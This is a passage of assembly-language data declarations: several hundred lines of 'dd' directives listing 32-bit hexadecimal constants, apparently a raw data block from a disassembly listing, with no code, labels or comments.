		dd 0FC657FDEh, 0BF4FAFCAh, 0CA4BBC3Fh, 0D0E912FFh, 7389D5F3h
		dd 0D98DB210h, 0AD3F1141h, 0A26900C9h, 2967B1B3h, 9707FEBDh
		dd 7935B0BAh, 0F43CD380h, 0BD276B84h, 0BF60D5D4h, 5C503256h
		dd 0A1C05951h, 406B4F8Dh, 7446EF00h, 4A0A407h, 4BB50165h
		dd 0EBFBF09Ah, 30A86A72h, 53BCFF59h, 0D8D3EF04h, 0C9C4A9F0h
		dd 0CB491F1Dh, 0ADE779B0h, 367B7D5h, 853519BAh,	182CC7F8h
		dd 4A5EFE27h, 0DBD37D0Ah, 3E4843D0h, 5292122Bh,	22ABBCBFh
		dd 0F9B51310h, 0D284AD22h, 0E501ECC0h, 0F84CF96Ah, 24EE0B5Eh
		dd 0CF82842Eh, 0C3EF2389h, 852F3B60h, 6CBB131Ah, 9A921BCEh
		dd 94F51D8Ah, 0B0404484h, 61BDF8E0h, 21EA8F76h,	6B71E4F9h
		dd 3181C6ACh, 7A30F1B5h, 4E1E75CCh, 6688D801h, 27777900h
		dd 5B589D82h, 0DFD62771h, 0DB810E40h, 9BF7D0Bh,	9B44D52Fh
		dd 12719D16h, 0D36B8CBBh, 17AC4101h, 6F08B8E7h,	0A6A75030h
		dd 0D531029Bh, 5B17492Bh, 0E75857E2h, 907A0241h, 10F2BF9Fh
		dd 182F099Dh, 4B516F0h,	8D7E4D3Eh, 7D5BC0D6h, 0AD1DCB77h
		dd 0D389B32Eh, 503AD066h, 7BC3DAD8h, 0B9D1EEEDh, 7C098014h
		dd 454A89ADh, 2CDB2E00h, 444D5C06h, 0D735A8CBh,	9F410F24h
		dd 4760BDFEh, 0E402BAE8h, 29F71401h, 5B83EE37h,	31A57BF5h
		dd 4900F744h, 865CD10Bh, 23E0532h, 0FB617C9Dh, 0D190858Bh
		dd 2509D381h, 0D06453A6h, 70049F58h, 8158E81Fh,	9456BB66h
		dd 0B50483Ah, 73D2AB1h,	12FDE903h, 7631F20Bh, 2388F84Eh
		dd 8D09882Ah, 7C94F14Dh, 8422874Dh, 2CE95921h, 4C0DF892h
		dd 645A4163h, 6D4E8D3Eh, 41F22D98h, 98DFFC46h, 6AF00379h
		dd 804BB797h, 8C6D2025h, 94E780Fh, 19C8189Ah, 70FCBDC0h
		dd 0ABA50B7Bh, 1866880Fh, 3F2FB120h, 0A354F0B9h, 0E48B97FEh
		dd 9300FAB7h, 0C46D289Ah, 858908A5h, 163B1815h,	0D749C18Dh
		dd 701D5BFCh, 0A002C859h, 6E32F938h, 8ED1F722h,	0D585018Bh
		dd 0B55F57E2h, 80191141h, 203DB149h, 0A3034F55h, 4070FEAh
		dd 0C7C0C022h, 67B9DB7h, 9BD8961h, 2B2F782Eh, 35B7D2h
		dd 296236DFh, 1E412195h, 202E3D2Fh, 152DFD16h, 782AF314h
		dd 8E002FBEh, 113DE840h, 9D819D03h, 4CBB3D16h, 5BFB7D52h
		dd 5F092B2Dh, 2DE1B0EDh, 0B3341237h, 2CEBD03h, 0C080601Dh
		dd 80C3F9E5h, 35CEA2D2h, 1509F094h, 0D15BFC2Ah,	4157595Dh
		dd 22975ADh, 70AE7B5Bh,	0EAE4DB5Bh, 26BE11Ch, 72A2B593h
		dd 6E30A18Dh, 98B87BFDh, 24EABB3Bh, 557365h, 13D61DCBh
		dd 359D3F2Bh, 811C91A7h, 686D84C6h, 0B2AD1D8h, 8E0FC1C9h
		dd 0DC8A5D48h, 0FBE1FF2Dh, 3CB170ABh, 4B475200h, 0DFBF2D8Ch
		dd 673B276Bh, 6113D845h, 0AF9BEB57h, 8B8E4989h,	0F4D11049h
		dd 5534DC4h, 0EB1CCD0Bh, 0E3049138h, 9CE80F69h,	7D146ADAh
		dd 7887CE30h, 3173D101h, 0C5D38AF6h, 3A779BF4h,	0B8E5C0A9h
		dd 6088A06Dh, 713797h, 0F685232Eh, 0B11DA486h, 426744B2h
		dd 70DE53F9h, 0A4744896h, 0C921F504h, 12FB52CEh, 36CEF161h
		dd 0F883F502h, 891AB052h, 5F317FF9h, 0AE73C529h, 822F5EB4h
		dd 4091DD5Eh, 0DA6CE04Ah, 288ABA05h, 64EB5398h,	75EA0EF1h
		dd 0BCC6ADD7h, 0D4008C1Dh, 564D06CFh, 266058BCh, 3A301A01h
		dd 81002C20h, 0A0D6DEDBh, 18BB5056h, 0D6BC8759h, 0B7952404h
		dd 200139E8h, 50994F8Bh, 1A4B2023h, 50AE5F81h, 4E00DCCAh
		dd 0CF239854h, 4EE9D5DFh, 925FA26Fh, 5F3DAF1Ah,	5260D218h
		dd 0C3B25851h, 70BA185Bh, 0E4047108h, 7006A639h, 27E0A858h
		dd 84C0F0C6h, 1CE850AFh, 0B33300F2h, 9E15FC50h,	28008D70h
		dd 0FF0D0896h, 2D3F2AF7h, 0A010EFC4h, 260023E1h, 0E3508015h
		dd 1229585Fh, 0E70F0985h, 976028E4h, 4E1D1920h,	4E2DE761h
		dd 0AB8099DAh, 65E951EAh, 8B273E92h, 0AA0266FAh, 60E25E84h
		dd 83F3DDBBh, 0B98D454Eh, 0F385122Bh, 0E06E4F97h, 89EE220Ch
		dd 810B66EAh, 0DE5E29E2h, 357D5270h, 0B9C83811h, 4B2B9510h
		dd 6EEEAFC5h, 0CA411695h, 17899E28h, 0D208058Dh, 2A2011F1h
		dd 0C816B6h, 51EDAC77h,	0D60104FCh, 2F0544BFh, 0F3AADA8Ah
		dd 0D895DEE0h, 0BF801D7Fh, 0F9084FE8h, 0BB600133h, 3A5B7644h
		dd 80D3B911h, 9697CC68h, 6288F01Fh, 0DDB34F02h,	33068B74h
		dd 251E8994h, 36C4DFB7h, 0C7306901h, 38F183A7h,	0A7CD8h
		dd 0C61DFB42h, 0AC6D40F9h, 0F5B6035Eh, 95FBB04h, 1F79F290h
		dd 8740B9FFh, 0E52AC544h, 8375010Ch, 0E19DB5BFh, 477AE094h
		dd 1E81E34Ah, 217B90FAh, 6B323D41h, 27641A05h, 62A5D6A8h
		dd 0ED566196h, 0A9633FDCh, 0D375DC00h, 0B526433Eh, 47D88B27h
		dd 0D6DEA667h, 220AA4Ah, 0DA614Dh, 53D8FCE5h, 719D3142h
		dd 4BED205Dh, 2B277C8Ah, 92B00510h, 0F5B062BDh,	0C6000C3Dh
		dd 0B9040A6h, 3B3AFF8Eh, 1A9AA565h, 4D7A52C0h, 66056D02h
		dd 33D1B816h, 1E6CA304h, 97A243E8h, 0AE64FF29h,	579A81F8h
		dd 0CDF398BDh, 21D80E8Ah, 4D60D116h, 0F76C3237h, 0DEDD110Ah
		dd 6959E2A7h, 60625DA7h, 46D63F5Eh, 30017716h, 0A311BF6Ah
		dd 0D689649Fh, 41D11256h, 0C0716DA7h, 7A183783h, 7E830299h
		dd 0E889B488h, 9C19F3h,	70BDCFD1h, 0A4E71352h, 2F2921E1h
		dd 16C8F9DAh, 0FD0733C1h, 2FDADD7Ah, 0A98078DAh, 708B33CAh
		dd 0FFB35012h, 0B5824FFDh, 5F0B1839h, 0E7904F64h, 19156D31h
		dd 1C70FAB7h, 0EAD39AD9h, 19A92DBDh, 456283F9h,	10811002h
		dd 0DED5F4B5h, 25907A00h, 971527E0h, 0A6BB6E7h,	0CBAE849Bh
		dd 0A6675708h, 0C9892592h, 46D691D4h, 643F1F16h, 0B85B9B67h
		dd 2FF37AD3h, 0B8584058h, 0E0B7345Eh, 5E8D8E40h, 0D6C4B207h
		dd 0AC81F6DAh, 0C807FC1Ah, 0DB046FE2h, 218D29FFh, 2F81EEE8h
		dd 3A18C95Ch, 0F7B6BD17h, 0E03A0CE0h, 0F2ABE209h, 96C5D08Eh
		dd 2B00DCA9h, 786E8808h, 5E49BD9Eh, 9CCB641h, 0D24C0ABBh
		dd 26F69FB5h, 71B100DEh, 0F9DBF60h, 75B001B8h, 0BDAE37B5h
		dd 0B4DCD09h, 0A3D47389h, 21846D6h, 0C55B7CEFh,	0A6315547h
		dd 6B278105h, 0FCDCBD43h, 9272C720h, 0A41EEAA9h, 0F88A273Eh
		dd 0F09E4C46h, 662200DCh, 16CCCDDDh, 52F9D29h, 0C4B75920h
		dd 23DEAB6Ch, 0E22735C4h, 3B33007Eh, 0BFE2ACF6h, 0BA8D0F1Ah
		dd 67EFC175h, 9CF196A9h, 0E6EA600h, 1A4263h, 0B357FB2h
		dd 0F8C154BDh, 383B2D10h, 4E074D10h, 52C531B5h,	1080F268h
		dd 610F6BCCh, 4E54040Eh, 4231C940h, 4BDD4D9h, 0FC65E380h
		dd 727AA70h, 0EC9FC198h, 85093C16h, 6E5070EDh, 9D6A4E8Eh
		dd 0EDDA6FACh, 7580A389h, 1893CF3h, 979BD13h, 182703F2h
		dd 6AC02C5h, 0D06B00D6h, 3ACEE1D7h, 0AB27657Ah,	25CE460Fh
		dd 3642DD8Ah, 4679AC5Eh, 0F4BDDEC2h, 0A46E9Dh, 8DBBAF57h
		dd 606D797Fh, 0FBD98A39h, 58525B17h, 0E0D250B9h, 8EBCC6B1h
		dd 0D3050189h, 0BB56B88h, 86BBA400h, 583647D7h,	522339Ah
		dd 68021EF8h, 2B606E4Dh, 0A05ADD9Dh, 0E961C109h, 0F098D042h
		dd 0A314D0DFh, 0B91EA517h
		dd 0E3E2D633h, 0BE3DCF00h, 50BA8854h, 42272590h, 5D2F8B6Ah
		dd 5560074Dh, 4E311BDFh, 0C4B2200Eh, 0BC0B0F90h, 768ADC43h
		dd 871F4FAh, 0E4465F00h, 6396C5C8h, 0EB81000Ah,	23F1C060h
		dd 0D55F9D89h, 0BD6AFEE5h, 0AB8F8h, 530F785h, 50C780B4h
		dd 0E5279EA0h, 0E829185Dh, 6A970372h, 83C60736h, 54558993h
		dd 3D162F29h, 3380A79Bh, 85E6CCBDh, 0B8759B09h,	8BEF82A6h
		dd 5CE2ABD8h, 23D0B04h,	0DB8430DCh, 233EBECEh, 6C3F051Ah
		dd 12F0EA12h, 0A7894BB7h, 0B01A567Eh, 9C44A2Eh,	870F8A88h
		dd 3A604A91h, 0E3399D20h, 862D0045h, 0A978AFE1h, 7C926693h
		dd 4C8CF94Eh, 53D124FFh, 0F25B92D3h, 57618BFFh,	9E4006CFh
		dd 30DF0394h, 0FE643FF9h, 0BD3026Ah, 0BD12B8E5h, 4998E051h
		dd 0F5F800Dh, 6E178127h, 8E1E3EC6h, 83CD4A00h, 7C333597h
		dd 0C6E63F0Ch, 97DE4EBCh, 0E9A08D4Ch, 848223FDh, 0BEBC0DB0h
		dd 564A31B2h, 0E871915Bh, 9180BE68h, 9B7D2B59h,	0FFCACD07h
		dd 0E611BDEAh, 352F82D4h, 2E18BED7h, 2CF81A5h, 379F6925h
		dd 0CED15090h, 0FA6DAE00h, 6EE7ADh, 0E3A099BDh,	0DE7A4D62h
		dd 4068A601h, 905B0942h, 0BE99E44h, 0AE91844Bh,	16C83BCFh
		dd 60179FC1h, 0C18A642Fh, 7B2BA171h, 9AA514ACh,	0A56BC0BFh
		dd 170F671Bh, 855DADBBh, 1BB6AAB0h, 13734BE0h, 0E083D499h
		dd 4C80EC63h, 0B12AC12Eh, 8F0F118Eh, 2B572608h,	4885A25h
		dd 0B19D035Bh, 0A38BBC1Bh, 31331DF3h, 0EFC1ED8Dh, 17587CB0h
		dd 19B80BF9h, 2DE7EB80h, 0E4254317h, 0D389E971h, 79C041A5h
		dd 0D52DB529h, 12B0FD08h, 9D1233C1h, 58F30451h,	0AEE4BB09h
		dd 31F8279h, 0FC6F8D40h, 5C9C20Ah, 8A352129h, 0F656EBF9h
		dd 8780E6ECh, 354EC3A7h, 800026F2h, 1F83157Bh, 1E401CB3h
		dd 2824576h, 0A59D0B22h, 2B2EE47Ah, 8516F0C8h, 77D16AF4h
		dd 0F86D5489h, 616B60E9h, 492E16BBh, 27F93D58h,	11491004h
		dd 0DF64BD1Eh, 0E129C6C6h, 0BDEAC20Eh, 195D2C7Dh, 8081A92h
		dd 398C288h, 0C366151h,	30EB6B1Ch, 29561B04h, 6BE1ED95h
		dd 2E82D92Bh, 0A5F84F27h, 0B7203FCEh, 90442FBh,	7BDC7EBBh
		dd 56E20B3Eh, 0E02D4D57h, 0D50C45A0h, 9E881809h, 0D5A48B4Dh
		dd 6A1218E5h, 8D6FAFh, 55199A0Ah, 25DB60B2h, 69ED296Eh
		dd 0B0671564h, 89E38023h, 6ADE93A1h, 0CE261DA9h, 0A7EA0031h
		dd 67C8264Ch, 7AFED212h, 7D80AEA8h, 0FCC3DD34h,	0D54B1E00h
		dd 0EB2234Dh, 32710F7Fh, 2132BD89h, 0D1B95FB4h,	0B79E6A10h
		dd 0E6B32980h, 6D16FBF2h, 0B4B139C5h, 462ED6Eh,	0F8BF0FFCh
		dd 0EB653582h, 8B6FD51Bh, 0C0D5E319h, 33E12A8Dh, 0C0C3DF6Fh
		dd 0C689315Ch, 0A8BF02ADh, 0BA50EA84h, 525C2A8Bh, 0BF52C725h
		dd 4F25BFBFh, 0B028E4h,	0D1E91B4Bh, 436903C0h, 0CA00E63Bh
		dd 0DF06C15Ah, 0DA2582h, 2FEC8021h, 3BB77A2Ch, 0B0B65B5Eh
		dd 302894Bh, 0BAD44D9Eh, 0C64B512Fh, 0C5FAA2ECh, 5ECF1497h
		dd 3B49E76Ah, 0B05B0099h, 6CD09A2Bh, 5BB8598Dh,	31278FFCh
		dd 4BD060DAh, 0BF3A978Bh, 0F64B44EDh, 5F0E4083h, 9D16014Ch
		dd 124B1A39h, 593AA9E1h, 526A4498h, 788876B2h, 3EFC608Ch
		dd 20615CD9h, 0DA817EC0h, 0B00D605h, 0C74B524h,	4BC6F35Ah
		dd 21898AE7h, 37DBA51Ch, 2648F658h, 6827F84h, 9260C913h
		dd 2DD354BFh, 0B170707Bh, 0CE6919C4h, 2EDA4CB2h, 736F4B12h
		dd 0A2916000h, 0F202F00Bh, 31799F02h, 10C41BDh,	221F800Fh
		dd 287E807Eh, 0B061BA91h, 24C8004Ch, 755FC10h, 7102E9BFh
		dd 89B6BBF4h, 924B5CB5h, 4C6AE45Bh, 0C504ED8Ah,	7AA404CDh
		dd 0D301ADB4h, 0F285D49Ah, 7D6AB8AAh, 0B59D1697h, 97434BEDh
		dd 3A35FB8Bh, 6EC1F9FAh, 0DF13911Fh, 3CBBC6C0h,	868AB738h
		dd 127406E5h, 95B8890h,	0DB0A57EEh, 3B2B80FDh, 0E73D4Eh
		dd 840C5EBEh, 48DD6843h, 60A29265h, 8E2937BFh, 0A85F6144h
		dd 4B2205F2h, 0CDB6468Dh, 0A5B69BE0h, 0B3F6B800h, 8A6F2FC5h
		dd 770BB7DEh, 46D6A6D4h, 0B687001Ah, 0E073CAE9h, 0BC604BA5h
		dd 27102089h, 46A0810Fh, 1E8F6AB9h, 7CBD61F6h, 9694AF4h
		dd 9A7434EDh, 6802C7E8h, 49BEE91Ah, 362EF84Bh, 39252C76h
		dd 0EB5AD60Fh, 0AFFD6E05h, 0E6B56345h, 27EC40FDh, 0F1A7E509h
		dd 0AB977334h, 0C6935841h, 9D60702h, 231A195h, 0F4D389F9h
		dd 69BC78h, 0AEAD4BB6h,	5D2B79E2h, 123FBB3Ah, 0C2294A60h
		dd 801EDA6Fh, 9D2B6505h, 891C4BE9h, 0F38DCDC4h,	0BB96BF1Ch
		dd 0A5FBA29Fh, 33C4450h, 5BC109A4h, 20884428h, 0C6F22352h
		dd 0D1492D00h, 4834CF2h, 0DC2F9496h, 4AF89800h,	39D258EEh
		dd 8074B5A2h, 178F5A81h, 4320F050h, 2B09416Dh, 1C04AB65h
		dd 68010529h, 30312757h, 0B525BFF9h, 945F0ABh, 5EDDCA8h
		dd 9000C744h, 18E28784h, 9791623Fh, 0C2749C2Bh,	0A57200F4h
		dd 823AC63Ch, 7890C932h, 90719312h, 503232FAh, 2EEBEB72h
		dd 0D380B002h, 24DC4541h, 0C600D60Bh, 0AE64D6F4h, 4E5939FBh
		dd 600E3003h, 9707E181h, 6176ABB9h, 0F2AF5315h,	0C55F2525h
		dd 25BBA0B1h, 37902E5h,	0AD2745C6h, 53F3E047h, 0E9250DB7h
		dd 0A5403D3Ch, 0EEA4055h, 0A11D97FCh, 9357DD2h,	2082C09h
		dd 511B0176h, 4A121068h, 2F2518A8h, 0B1C7EA79h,	50B59C48h
		dd 2F9EF30Ch, 0F11AFC27h, 6F67AFADh, 0E2DBCCD9h, 35B3142Fh
		dd 8D3B5179h, 3C6B2B08h, 0D0931523h, 8C2AA0A1h,	0C100BBF9h
		dd 1834D295h, 4C6C13D1h, 81141486h, 5E7CBF6Fh, 1E4C6E24h
		dd 17E61C6h, 0C25EDC97h, 0B22C7ED5h, 9ABA232Fh,	525623E2h
		dd 8273B362h, 9C1AEDCEh, 0D453B4A8h, 4814C71Dh,	0E2DEC18Ch
		dd 0F6E14ABBh, 0E9B513D3h, 0B8FDA756h, 8C1DACh,	1C1A4C3Bh
		dd 78534EF9h, 0D8A08D27h, 99EB80BDh, 493A972Bh,	0B8D88204h
		dd 3357091Ch, 11AB5FBDh, 0D469B07Eh, 0B439D452h, 0F218970h
		dd 355E83C7h, 0BF71091Bh, 971A3C1h, 0D2860F89h,	9109D23h
		dd 0AB008EA8h, 42E6437Eh, 4A6160BFh, 0D00EA85Bh, 231D109Eh
		dd 0ECB1B888h, 57020479h, 112DDA58h, 0DF11C286h, 0CEA54237h
		dd 12E14872h, 870DBD86h, 75AF10B6h, 0C985CCB7h,	0B4FA297Ah
		dd 69BC96DEh, 39D7BF47h, 701E739Bh, 0DF09B996h,	0FCBE4C9Fh
		dd 291612A4h, 21A90189h, 89DC2B03h, 97DF7080h, 1BB193Ch
		dd 13A8D950h, 43980F4h,	90CFD6Eh, 8B958850h, 20EA6044h
		dd 19EC2AB4h, 0B96D6705h, 78A35804h, 5FCEFC4Ah,	0DC00C9Bh
		dd 0C0BAB666h, 8529361Fh, 0B3E90CD2h, 0F68C1BBCh, 0B1480279h
		dd 88F2D5EEh, 94D2827Fh, 65125C8Fh, 2BFDC201h, 97C4770Bh
		dd 7445A825h, 0CA8B0563h, 95D67061h, 0EE950425h, 8C0F2FA8h
		dd 0C1249466h, 9512527Bh, 23113CEBh, 25B52988h,	6C7B04FDh
		dd 9D2B5182h, 258BDA0Dh, 5CFA8D89h, 81BF0095h, 23B1AED7h
		dd 16F15942h, 1F2D4118h, 0C10590A1h, 0AC7300B6h, 476763C9h
		dd 82FBB86h, 0F81F8B8h,	0FA66CF81h, 0E95F75C0h,	0FF71F403h
		dd 360B7B7h, 17F67467h,	0BBB431F8h, 0B687D104h,	35BB5112h
		dd 0CC6DF196h, 400ABFC1h, 0B65786DAh, 0D4254109h, 0F9F3C091h
		dd 4DBD62C1h, 403AC4EFh, 8D910C3Ch, 0BCF10012h,	0A9E4EF78h
		dd 0CC00FA65h, 0B3D24DD1h, 1FB13AFEh, 5618379Fh, 5FDF8A1h
		dd 0B8F31F88h, 335020BBh, 0DC486FC8h, 575503B1h, 173A413Ch
		dd 0A9998360h, 4A79005Eh, 0E8E09DACh, 0C448006Ch, 5A72295Bh
		dd 7A0F0305h, 0C0F46741h
		dd 7D8DB16Ah, 57E100E2h, 2A224635h, 45F25D6Eh, 0F087F600h
		dd 17090D53h, 5123C50h,	0A0520B2Fh, 0F3AADC05h,	0BB5C2Fh
		dd 2C69647Fh, 7A00B81Ch, 0DDEEA9A5h, 0D75887h, 66B0A77Dh
		dd 4F7BE4ACh, 5B02DA98h, 0C047772Eh, 761BF5CDh,	6B67A6B8h
		dd 0F439C217h, 0D102DB00h, 0E783556h, 0ADBBD054h, 0B881B609h
		dd 0CCCE4411h, 8C48BCEFh, 0B2E83090h, 22A412Eh,	95070228h
		dd 51FA9C85h, 8B1839h, 0E0415148h, 18569A8Dh, 38D32417h
		dd 592FDBBFh, 30235882h, 0B01983BCh, 0BA02B8DFh, 8594CD74h
		dd 8056FE02h, 8CFD8BAEh, 6E72ADD1h, 24FB3900h, 0D526A23h
		dd 898107FCh, 0E0DDD8F6h, 0C2FAB7D2h, 1792BD00h, 6B8231E7h
		dd 0C47718B0h, 0FB5F68E1h, 8473D700h, 702D5E6Dh, 4FE8185Bh
		dd 0B1DC21FCh, 0BC00BE98h, 2325C276h, 0BD6EA468h, 497A5A48h
		dd 45F2AEA0h, 0F01F2E16h, 0DCEEAA03h, 5B73C05Ah, 0A3DB30FFh
		dd 89B8C749h, 0AE1E1400h, 70BD2813h, 6A9261C1h,	85A99805h
		dd 52262A0Dh, 0E150E706h, 16624C15h, 0D2207702h, 8B828B1Ch
		dd 0AF205E9Ah, 1D4952D9h, 0A761A07h, 805241CBh,	0D115A04Fh
		dd 0A800D5BCh, 5EFA1236h, 879AF1h, 1F2ACCF8h, 0CAEE6A62h
		dd 74934807h, 5B80F539h, 3E491626h, 1263403Bh, 0AF2F703h
		dd 3FA5F282h, 36567325h, 0F3BA900h, 3E4D1Ch, 833D4B43h
		dd 95AE28FEh, 0C10E777Fh, 0E2B4D33Ah, 0F5DE1418h, 0A919515h
		dd 7263E03h, 1DE02E6Dh,	5D1EC74Dh, 0F9CC6C67h, 5BC93F4Ah
		dd 79E3F445h, 17C64113h, 0CB008B1Dh, 0C3D3A0B0h, 3AB8F6h
		dd 5030E032h, 7DC39B1h,	22F0F500h, 197487ABh, 0DFAD339Ch
		dd 0D0D82652h, 0EC0E64D7h, 0E0A4B715h, 8A0B09FBh, 0DCC2004Ch
		dd 0AAA1A549h, 0ECCFB5D3h, 205C6EF5h, 0A7070D63h, 0F7A600D8h
		dd 7DCC69C4h, 5503E418h, 8FD6BC54h, 4C00EFD1h, 8E4AC8h
		dd 215C6EFDh, 930A3CD3h, 0CEE87800h, 0E6B2E5C6h, 91C0097h
		dd 0CA1FD54Bh, 0C0048DEh, 1B172731h, 187844CEh,	60D00439h
		dd 0A928C00Fh, 0F104CD9Ah, 22595476h, 0DC534CD7h, 0E629056Dh
		dd 0EA149062h, 9C4ABE04h, 0F5B05880h, 0A64101C5h, 4724EEABh
		dd 629C9830h, 61B36Eh, 21E598AAh, 49F2136Ah, 0A7819202h
		dd 0F5EF9438h, 603D6A27h, 8F8BA987h, 25E224F1h,	5EB1E4B7h
		dd 38BCA0C7h, 0B70FA390h, 5868DB44h, 454098h, 0E0D43048h
		dd 0C7F9969Ch, 0D70F50ECh, 0F3B6C6B5h, 187CDA47h, 0C2AA8A52h
		dd 0A60780CDh, 0A4D7E9h, 0BED56294h, 0D3F57D8Fh, 24A0D81Ch
		dd 8A50FC03h, 14981C18h, 805E2069h, 5E43C0A4h, 0FCB9A190h
		dd 7F073A55h, 3949CB4Fh, 0B5842571h, 0FD621F81h, 0D0759096h
		dd 0F500BB44h, 3155AD82h, 183CAF1Ah, 2A1040F3h,	203E5D68h
		dd 0EAFE076Ch, 80E97DDDh, 0D88B0AB5h, 5E33900Bh, 558F01Bh
		dd 22145800h, 0F9B97BDBh, 0C9FB1E82h, 23E9CCC5h, 0E6076A2Ah
		dd 3D4ECAC2h, 0F2174186h, 0AAB4197Eh, 4CC0D1A3h, 6A4083B4h
		dd 0FB100074h, 1F2F6664h, 305E03ACh, 0BB3D8A0h,	5D69ABCFh
		dd 7E8DDB00h, 0AA00E1EFh, 0D3FA868h, 30CF6E9Eh,	7A2E9B71h
		dd 9309601h, 0D5B9113Ah, 59B0165Fh, 0E1A84E2Ah,	38477400h
		dd 7807900Dh, 895161Ch,	4FCD8970h, 0B85A4C21h, 0C246A200h
		dd 62D15EC9h, 5FDC6917h, 0D6066BCh, 8DF1C549h, 58278700h
		dd 8A548526h, 98990075h, 532C5C40h, 43307B32h, 7FE06B3Ch
		dd 0ED120018h, 3534E70Eh, 86039813h, 0FCA7770Ch, 55E800DEh
		dd 6ACBC0B4h, 0F52965EBh, 0D28D5645h, 0A20DFE6Eh, 68D9A802h
		dd 0BA54E787h, 43440009h, 0DAE9764Ah, 330097A7h, 89D0EB0Fh
		dd 0B8F50578h, 5C230014h, 30AF732Ah, 6F3C9F0Eh,	819E80CEh
		dd 920F3EEEh, 0E7E5007Ah, 2D6A9CACh, 98057CC6h,	97A9D83Fh
		dd 98D2B91h, 0F72FB722h, 74F0459h, 8E91027Bh, 0C07ED784h
		dd 87EE4D1Fh, 57467805h, 944B54D3h, 0FFF29171h,	0E511CB7Ah
		dd 5AB4161Eh, 0E3E233A1h, 0C113C6Fh, 0C721B35Eh, 5CF53C87h
		dd 0F25B1B05h, 366918BAh, 43BC483h, 7E1EEB54h, 0F05165B1h
		dd 461C954Fh, 0BA2B8Fh,	0D8B85008h, 0C9B43h, 922DD0F7h
		dd 31C7D575h, 4A5820CDh, 20EDCB6Fh, 0EAEFB783h,	895308h
		dd 0E42FF445h, 86053B23h, 0F717B857h, 0AFE930EAh, 0D1FD902h
		dd 7C808B6Dh, 2CE45131h, 0EE8416A8h, 98300129h,	0D0DB5625h
		dd 360E4D71h, 23A67B75h, 0C35D016Dh, 0F6078592h, 0E4206E09h
		dd 1A90BFAh, 0B23B771Dh, 3A23D026h, 6A3BE79Dh, 82D400CAh
		dd 1A0AC4BCh, 0EF3B056Ah, 0EABD8529h, 8E0F6343h, 88334B15h
		dd 5B00BB4Ah, 2C0868Ah,	13D11EA2h, 0E0C2A9F9h, 8BB55F65h
		dd 7D7940h, 0D3841C17h,	638C31Fh, 0C40500F9h, 0BB8F4E7Dh
		dd 3D2B9583h, 9F80E1D1h, 30526748h, 64EAD6h, 0F28EB1E8h
		dd 66414DD3h, 0DB80F0C2h, 0F4E55E2Dh, 0A3D57905h, 73C02EA8h
		dd 4B0FB9BEh, 0B75E4580h, 10B102CFh, 0CD5D18FAh, 0BB27E3CCh
		dd 0C58C808Dh, 0DB7481F7h, 3A372A13h, 0E16DA6F1h, 9901EEB8h
		dd 0ABCE8033h, 8D2EEB3Eh, 0B4803B83h, 0BD6175DFh, 5264CF54h
		dd 0C90F5CBFh, 117DF58Dh, 7A6FF8F5h, 7329010Dh,	0B02FC089h
		dd 0E19EC56Eh, 0EFBD7FDAh, 81F07DA9h, 6130F36Ch, 0C25BB62Ch
		dd 0EE5F1926h, 0FFFC4402h, 0D84FD174h, 0A621A4CAh, 0E9B0216h
		dd 2989EA80h, 0C466E8E1h, 44EADE6Eh, 0DDB6906Dh, 0F0FC3D40h
		dd 3B502ADh, 1909CC8Eh,	4095F1DFh, 0C72599BBh, 7E122F6Bh
		dd 4C140EC5h, 0AF907884h, 4D8075DBh, 0F3BB9F64h, 1CA5104h
		dd 0D4F159BDh, 0B27FB63Ah, 59F7321Bh, 1C2D0150h, 3F0CE0E9h
		dd 901AE92Ch, 0D0499398h, 5D013DFCh, 2894ED01h,	0A12B29D7h
		dd 0E1323E1Ah, 99C188F9h, 56F12B02h, 0DD6B4A4Ah, 0E4029A37h
		dd 7E3315EBh, 0FDF5C4DEh, 0C8C997C1h, 2C20A43Eh, 35B54713h
		dd 0E3C12AA9h, 0F26A3EEBh, 503757h, 0CA50F18Bh,	9077184h
		dd 8589C934h, 0B9A40D25h, 0F4254A01h, 0DD72D0Eh, 9F1FEBA0h
		dd 15EFA194h, 0AA935917h, 89F981B0h, 9F0E21E4h,	0DBBEA2ACh
		dd 0E435F60Eh, 0CABBE271h, 0BEA57EDEh, 0B6202AC5h, 93E091h
		dd 0AF091AC3h, 49636BD0h, 0B7027F00h, 42B903EEh, 0BD899F88h
		dd 8A6C7FDCh, 0D556BF71h, 0D77ECCh, 0C18BD2B1h,	1CD19589h
		dd 40C8929Fh, 8224D900h, 0BB00B77Ch, 5A7C5F53h,	0B3C8122Bh
		dd 0A008FE22h, 5D71AD86h, 9C6EA480h, 0D56F3Ch, 974E75F9h
		dd 858BA656h, 0A54C4438h, 6906FC5Fh, 812E9FF2h,	1037D6F7h
		dd 7EDE8A02h, 5010919Ch, 0E930F546h, 160114Bh, 0AC115485h
		dd 146CBD61h, 62294980h, 0CFEECB00h, 0FA5806F0h, 2B6A13EAh
		dd 22A4F2F4h, 0F7C58022h, 0C38EC287h, 0AD7EC1E0h, 0D49D29C3h
		dd 952895B9h, 0D8F94F68h, 6641E8ADh, 1CBE5085h,	0F7F6BE6Ah
		dd 67D545E0h, 2DB15901h, 0A9FBBE7Ah, 4B492A60h,	0D268F926h
		dd 0BA9273ACh, 6422A4h,	89344936h, 0D7130203h, 0F0C5EA13h
		dd 0BB8284B9h, 0CCA272C0h, 0B90201FDh, 0DBBDAB17h, 979F70E3h
		dd 0F623B100h, 0BD29B4C4h, 26A9D45Dh, 0AE61844Fh, 0EB171D6Eh
		dd 1D94FF01h, 0FC2583F8h, 76702E73h, 6D412DAh, 2724BB34h
		dd 159D8304h, 0DBC02B04h, 846C077h, 18314FDDh, 0AD19E1B5h
		dd 2B25D8B7h, 0C48A6DD2h, 0F19BFC55h, 0F86F890Fh, 34FAD3D2h
		dd 0E55A8123h, 0D2E63F10h, 83CCB9E5h, 0F2FE9B38h, 0DA95D55Ah
		dd 45B05540h, 9F120E1Ch, 0F9E47959h, 0D2D1FCF5h, 2E459D04h
		dd 7FBDD1FCh, 2D1FCB04h
		dd 48C05B9Bh, 5AF950D6h, 0E5EF9E27h, 0FD7912F1h, 731EEC9Bh
		dd 8F2B16F2h, 5F04A25Eh, 0D625DC0Bh, 65F65A4Dh,	0C2D00D4h
		dd 17167FBDh, 673125A1h, 2ACD6229h, 5909EA05h, 40BADC51h
		dd 0E4293222h, 0CC08FCB7h, 1517CCA4h, 70AC4C6Ah, 562B1EB2h
		dd 9E3C42B0h, 71131DC0h, 0DDC97E00h, 46E8E306h,	79260B2Fh
		dd 0A6048FB7h, 2DEDA85Dh, 111E455Bh, 0AD5A500Eh, 0E425F19Fh
		dd 0D9AC52C5h, 0A0ED6025h, 0D4926BC2h, 0CB72F04h, 2B843400h
